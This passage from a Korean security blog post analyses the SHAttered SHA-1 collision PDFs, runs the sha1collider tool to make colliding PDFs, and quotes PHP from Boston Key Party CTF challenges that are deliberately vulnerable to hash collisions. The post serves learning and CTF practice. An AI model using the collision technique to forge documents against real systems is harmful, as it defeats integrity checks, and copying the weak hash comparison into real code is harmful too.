src=&quot;https://t1.daumcdn.net/cfile/tistory/276A6C4858B7CBF534&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F276A6C4858B7CBF534&quot; width=&quot;953&quot; height=&quot;527&quot; filename=&quot;009.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;생성된 PDF 파일을 열어서 확인해보면 내용이 서로 다른 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2201D24858B7CCE013&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2201D24858B7CCE013&quot; width=&quot;1000&quot; height=&quot;465&quot; filename=&quot;010.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;간단하게 두 파일의 SHA-1 해시값을 확인해보면 동일한 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 756px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2330554A58B7CF4328&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2330554A58B7CF4328&quot; width=&quot;756&quot; height=&quot;124&quot; filename=&quot;011.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;비교한 2개의&amp;nbsp;PDF 파일의 헥사값을 확인해보면&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; text-align: center; font-size: 10pt;&quot;&gt;shattered-1.pdf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;shattered-2.pdf&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;에서 사용한 값을 이용한 것을 볼 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;shattered-1.pdf = b.pdf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;shattered-2.pdf =&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;a.pdf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; text-align: center; font-size: 10pt;&quot;&gt;shattered-1.pdf 파일과 b.pdf 파일 비교&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/247ABF3B58B7D5DB10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F247ABF3B58B7D5DB10&quot; width=&quot;1000&quot; height=&quot;600&quot; filename=&quot;012.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;2개의 파일에서 사용된 부분만 비교를 해봐도 SHA-1 해시값이 같은 것을 알 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;(해당 값 뒤에 임의로 값을 동일하게&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;추가하거나 변경하더라도 동일한 SHA-1 해시값이 출력&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;됨.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 713px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2219133658B7D5EA0C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2219133658B7D5EA0C&quot; width=&quot;713&quot; height=&quot;281&quot; filename=&quot;013.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center; font-size: 10pt;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;즉, 2개의 파일에서 사용된 0x000 ~ 0x13F&amp;nbsp;값이 SHA-1 해시 충돌에 직접적으로 연관을 주는 것을 알 수 있고 PDF 파일 구조의 트릭을 이용해서 두 내용을 각각의 PDF 파일에 모두 삽입한 다음,&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;서로 다른 내용을 보여주도록 되어있는 것을 추측할 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;a.pdf의 0x000 ~ 0x13F 값과 b.pdf의 0x000 ~ 0x13F 값을 바꿔보면 내용이 서로 바뀌는 것을 볼 수 있으며, 아래와 같이 1.jpg의&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;FF D8을 제외한 부분을 a.pdf 파일에서 찾을 수 있고, 2.jpg의 FF D8을 제외한 부분도 a.pdf에서 찾을 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 640px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2618053B58C10CAE35&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2618053B58C10CAE35&quot; width=&quot;640&quot; height=&quot;958&quot; filename=&quot;014.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;lt;a.pdf 파일에서 1.jpg 부분&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 639px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2432524F58C10D8434&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2432524F58C10D8434&quot; width=&quot;639&quot; height=&quot;924&quot; filename=&quot;015.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;lt;a.pdf 파일에서 2.jpg 부분&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;text-align: center;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;a href=&quot;https://github.com/nneonneo/sha1collider&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 642px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/242C0E3458C10F8714&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F242C0E3458C10F8714&quot; width=&quot;642&quot; height=&quot;919&quot; filename=&quot;016.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 640px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/266E913C58C10F9712&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F266E913C58C10F9712&quot; width=&quot;640&quot; height=&quot;940&quot; filename=&quot;017.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;text-align: center;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;a href=&quot;https://github.com/nneonneo/sha1collider&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;a href=&quot;https://github.com/nneonneo/sha1collider&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;https://github.com/nneonneo/sha1collider&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt; 페이지에 접속해보면 2개의 PDF 파일을 입력하였을 때, 동일한 SHA-1 해시값을 가지는 PDF로 변환해주는 파이썬 코드를 볼 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;코드 분석을 전부 해보지는 않았지만, PDF 파일에 이미지 정보를 가져와서 SHA-1 해시 충돌이 발생하는 헤더값으로 다시 PDF를 생성&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;해주는 코드로 보인다.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;코드 테스트는 리눅스(Ubuntu 16.04 64bits)에서 하였고, Python3, Pillow, libjpeg-progs(cjpeg, djpeg)를 추가로 설치하였다.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get install python3-pip&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana; font-size: 13.3333px;&quot;&gt;#&lt;/span&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&amp;nbsp;pip3 install pillow&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana; font-size: 13.3333px;&quot;&gt;#&lt;/span&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&amp;nbsp;apt-get install libjpeg-progs&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana; font-size: 13.3333px;&quot;&gt;#&lt;/span&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;python3 collide&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;.py a.pdf b.pdf&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;그리고,&amp;nbsp;Boston Key Party CTF 2017에서도 SHA-1 해시 충돌을 이용해서 문제가 출제되었다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- Prudentialv2&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#010101; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#fafafa; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#010101; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff7e00&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;require&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#993333&quot;&gt;'flag.php'&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color:#0099cc&quot;&gt;isset&lt;/span&gt;(&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'name'&lt;/span&gt;])&amp;nbsp;and&amp;nbsp;&lt;span style=&quot;color:#0099cc&quot;&gt;isset&lt;/span&gt;(&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'password'&lt;/span&gt;]))&amp;nbsp;{&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#0099cc&quot;&gt;$name&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&amp;nbsp;(string)&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'name'&lt;/span&gt;];&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#0099cc&quot;&gt;$password&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&amp;nbsp;(string)&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'password'&lt;/span&gt;];&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color:#0099cc&quot;&gt;$name&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#0099cc&quot;&gt;$password&lt;/span&gt;)&amp;nbsp;{&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;span style=&quot;color:#993333&quot;&gt;'Your&amp;nbsp;password&amp;nbsp;can&amp;nbsp;not&amp;nbsp;be&amp;nbsp;your&amp;nbsp;name.'&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;if&lt;/span&gt;&amp;nbsp;(sha1(&lt;span style=&quot;color:#0099cc&quot;&gt;$name&lt;/span&gt;)&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&amp;nbsp;sha1(&lt;span style=&quot;color:#0099cc&quot;&gt;$password&lt;/span&gt;))&amp;nbsp;{&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;die(&lt;span style=&quot;color:#993333&quot;&gt;'Flag:&amp;nbsp;'&lt;/span&gt;.&lt;span style=&quot;color:#0099cc&quot;&gt;$flag&lt;/span&gt;);&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;span style=&quot;color:#993333&quot;&gt;'&amp;lt;p&amp;nbsp;class=&quot;alert&quot;&amp;gt;Invalid&amp;nbsp;password.&amp;lt;/p&amp;gt;'&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;}&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff7e00&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color: rgb(229, 229, 229);&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: rgb(229, 229, 229); border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Boston Key Party CTF 2015에서 나왔던 문제를 수정한 문제이기도 하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;- Prudential&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#010101; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#fafafa; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#010101; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff7e00&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;require&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#993333&quot;&gt;'flag.php'&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color:#0099cc&quot;&gt;isset&lt;/span&gt;(&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'name'&lt;/span&gt;])&amp;nbsp;and&amp;nbsp;&lt;span style=&quot;color:#0099cc&quot;&gt;isset&lt;/span&gt;(&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'password'&lt;/span&gt;]))&amp;nbsp;{&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span 